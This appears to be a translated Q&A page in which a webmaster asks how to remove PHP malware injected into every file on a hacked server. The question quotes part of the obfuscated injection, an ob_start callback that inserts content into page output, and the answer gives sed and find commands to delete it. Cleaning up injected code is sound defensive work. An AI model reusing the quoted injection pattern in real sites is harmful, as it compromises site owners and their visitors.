使用 sed 或 diff 从所有文件中排除黑客代码

And*_*rew 1 bash

可能重复:
我的服务器被黑了 紧急情况

你好,

我迫切需要您的帮助,因为服务器已被黑客入侵,而且我没有时间学习如何从所有文件中删除黑客的代码。我附上了添加到所有文件的代码。这段代码中有很多特殊字符,而且相当大。它有时会两次添加到文件中。

我不知道 sed 能很好地解决这个问题。如何从所有文件中排除这段代码?使用 sed、diff/patch 或其他技术?

这是要删除的部分代码:

    <?php global $ob_starting;
if(!$ob_starting) {
   function ob_start_flush($s) {
        $tc = array(0, 69, 83, 84, 82, 67, 7, 79, 9, 8, 23, 73, 12, 76, 68, 78, 63, 24, 14, 19, 3, 65, 27, 17, 85, 70, 80, 16, 29, 11, 89, 86, 2, 66, 77, 93, 91, 71, 18, 72, 20, 75, 87, 22, 74, 13, 59, 61, 52, 37, 28, 35, 15, 1, 21, 25, 34, 92, 36, 41, 30, 88, 46, 33, 51);
        $tr = array(50, 2, 5, 4, 11, 26, 3, 0, 3, 30, 26, 1, 28, 32, 3, 1, 61, 3, 52, 44, 21, 31, 21, 2, 5, 4, 11, 26, 3, 32, 60, 11, 25, 0, 9, 3, 30, 26, 1, 7, 25, 9, 4, 1, 14, 1, 25, 16, 5, 7, 13, 7, 4, 2, 8, 28, 28, 32, 24, 15, 14, 1, 25, 11, 15, 1, 14, 32, 8, 0, 36, 0, 0, 0, 31, 21, 4, 0, 14, 11, 31, 16, 5, 7, 13, 7, 4, 2, 0, 28, 0, 15, 1, 42, 0, 63, 4, 
-------------

-------------
       $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

        return $s;
   }
   $ob_starting = time();
   @ob_start("ob_start_flush");
Run Code Online (Sandbox Code Playgroud)

我将不胜感激任何帮助。谢谢。

更新:

I have tried using the code like:

for fname $(grep *.php .); do
        while read; do
                sed -i 's/$REPLY//' $fname
        done < filem
done
Run Code Online (Sandbox Code Playgroud)

其中 filem - 是带有恶意代码的文件。在这个文件中,我用点 '.' 替换了所有特殊字符,如 $<( 等,但仍然 sed 带来了许多错误。

mfa*_*ver 5

评论中的建议是完全正确的。您确实需要从备份中恢复,但是如果黑客的代码看起来与上面的示例完全一样,您可以尝试此操作(首先备份您的 webroot。)

sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' cleanme.php 
Run Code Online (Sandbox Code Playgroud)

要遍历 webroot 和所有子目录,您可以使用 find:

find $WEBROOT -type f -exec sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' {} \;
Run Code Online (Sandbox Code Playgroud)

sed 删除给定的开始和结束变量之间的所有内容。祝你好运。